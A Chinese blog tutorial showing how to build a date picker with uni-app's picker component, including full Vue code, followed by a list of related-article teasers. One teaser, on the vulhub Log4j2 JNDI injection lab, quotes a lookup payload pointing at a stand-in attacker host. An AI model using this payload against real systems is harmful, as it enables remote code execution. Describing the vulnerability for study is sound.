picker选择器-年月日选择

从底部弹起的滚动选择器。支持五种选择器,通过mode来区分,分别是普通选择器,多列选择器,时间选择器,日期选择器,省市区选择器,默认是普通选择器。

学习一下日期选择器

平台差异说明

日期选择默认在App端和H5端(PC版Chrome以及PC版FireFox)调用的是os的原生日期选择控件,在不同平台有不同的ui表现,当配置fields参数后使用统一的展示方式。 

属性说明

fields 有效值

演示效果:

​​​​​​​

完整代码:

<template><view class="pages"><!-- picker时间选择 --><view class="uni-list"><view class="uni-list-cell"><view class="uni-list-cell-left">当前选择</view><view class="uni-list-cell-db"><picker mode="date" :value="date" :start="startDate" :end="endDate" @change="bindDateChange"><view class="uni-input">{{date}}</view></picker></view></view></view></view>
</template><script>export default {data() {const currentDate = this.getDate({format: true})return {index: 0,date: currentDate,}},computed: {startDate() {return this.getDate('start');},endDate() {return this.getDate('end');}},methods: {bindDateChange: function(e) {this.date = e.detail.value},getDate(type) {const date = new Date();let year = date.getFullYear();let month = date.getMonth() + 1;let day = date.getDate();if (type === 'start') {year = year - 60;} else if (type === 'end') {year = year + 2;}month = month > 9 ? month : '0' + month;day = day > 9 ? day : '0' + day;return `${year}-${month}-${day}`;}}}
</script><style scoped lang="scss">.pages {background-color: #eee;height: 100vh;}.uni-list{background-color: #fff;// margin: 10px;margin-top: 10px;padding: 10px;}</style>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/478031.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

0219作业

作业1 求两个数最大公约数 .text 文本段 .global _start 声明一个全局的_start函数 _start: 汇编的入口mov r0,#0x9mov r1,#0xfloop:cmp r0,r1 比较r0,r1beq stop 相等subhi r0,r0,r1 subcc r1,r1,r0b loopstop: 标签b stop 跳转到stop标签下的第一条指令进行执行 while…

CI/CD部署

什么是CI&#xff0c;什么是CD CI和CD是软件开发中持续集成和持续交付的缩写。 CI代表持续集成&#xff08;Continuous Integration&#xff09;&#xff0c;是一种实践&#xff0c;旨在通过自动化构建、测试和代码静态分析等过程&#xff0c;频繁地将代码变更合并到共享存储…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

在ubuntu20.04 上配置 qemu/kvm linux kernel调试环境

一&#xff1a;安装qemu/kvm 和 virsh qemu/kvm 是虚拟机软件&#xff0c;virsh是管理虚拟机的命令行工具&#xff0c;可以使用virsh创建&#xff0c;编辑&#xff0c;启动&#xff0c;停止&#xff0c;删除虚拟机。 &#xff08;1&#xff09;&#xff1a;安装之前&#xff0c…

unity学习(14)——组装服务器环境

工具-获取工具和功能 vs2022中已经自带了 下载网址 NuGet Gallery | Microsoft.NETFramework.ReferenceAssemblies 1.0.3 后来发现微软已经不再支持4.0版本&#xff0c;还是自己从头组装服务器吧。 先给vs2022新增这个模块&#xff0c;4.38G大小还是可以接受的。 安装完之后就…

部分回溯法题解

部分回溯法题解 一、22. 括号生成二、39. 组合总和 一、22. 括号生成 中 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[“((()))”,“(()())…

13180自考《操作系统》考点总结

第一章 操作系统概论 考点1 操作系统的定义、特征、功能 定义&#xff1a;操作系统是计算机系统中的一个系统软件&#xff0c;它是这样一些程序模块的集合&#xff1a;它们能有效地组织和管理计算机系统中的硬件及软件资源&#xff0c;合理地组织计算机工作流程&#xff0c;控…

四分位距IQR_ interquartile range

四分位距IQR_ interquartile range 1 IQR&#xff08;Interquartile Range&#xff09;四分位距的含义2 如何计算IQR参考&#xff1a; 1 IQR&#xff08;Interquartile Range&#xff09;四分位距的含义 官方定义&#xff1a; 四分位距&#xff08;interquartile range, IQR&a…

详解4大C语言内存函数【超详细建议点赞收藏】

目录 1. memcpy----内存拷贝1.1 函数介绍1.2 函数使用1.3 模拟实现 2. memmove----重叠内存的数据拷贝2.1 函数介绍2.2 函数使用2.3 模拟实现 3. memcmp----内存比较3.1 函数介绍3.2 函数使用 4.memset----内存设置4.1 函数介绍4.2 函数使用 注意&#xff1a;以下4个内存函数在…

什么是 Sepolia 测试网以及如何从 Faucet 获取 Sepolia ETH

如何通过水龙头领取 Sepolia 测试网 ETH 代币 Sepolia 测试网需要 Sepolia ETH 代币来测试即将推出的 dApp&#xff0c;然后再在以太坊主网上线。您可以从 Alchemy、QuickNode 和 Infura 水龙头领取 Sepolia 测试网 ETH。 要点 您可以从官方水龙头和其他一些独立水龙头获取 S…

面试题:链表相交

链表相交 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表没有交点&#xff0c;返回 null 。 图示两个链表在节点 c1 开始相交&#xff1a; 思路 这个题目有2个思路&#xff0c;我先说容易想到的思路 对齐链表…

有人总结了浅色系可视化大屏优点,我要是小白,我就信了。

浅色系适合在电脑上展示&#xff0c;不适合在大屏展示&#xff0c;有人总结了浅色系大屏优点&#xff0c;我捡要点说下。 浅色系可视化大屏幕在数据可视化中具有多个优点&#xff1a; 首先&#xff0c;浅色系色彩明亮清新&#xff0c;能够提升人们的视觉感受和心情&#xff0c…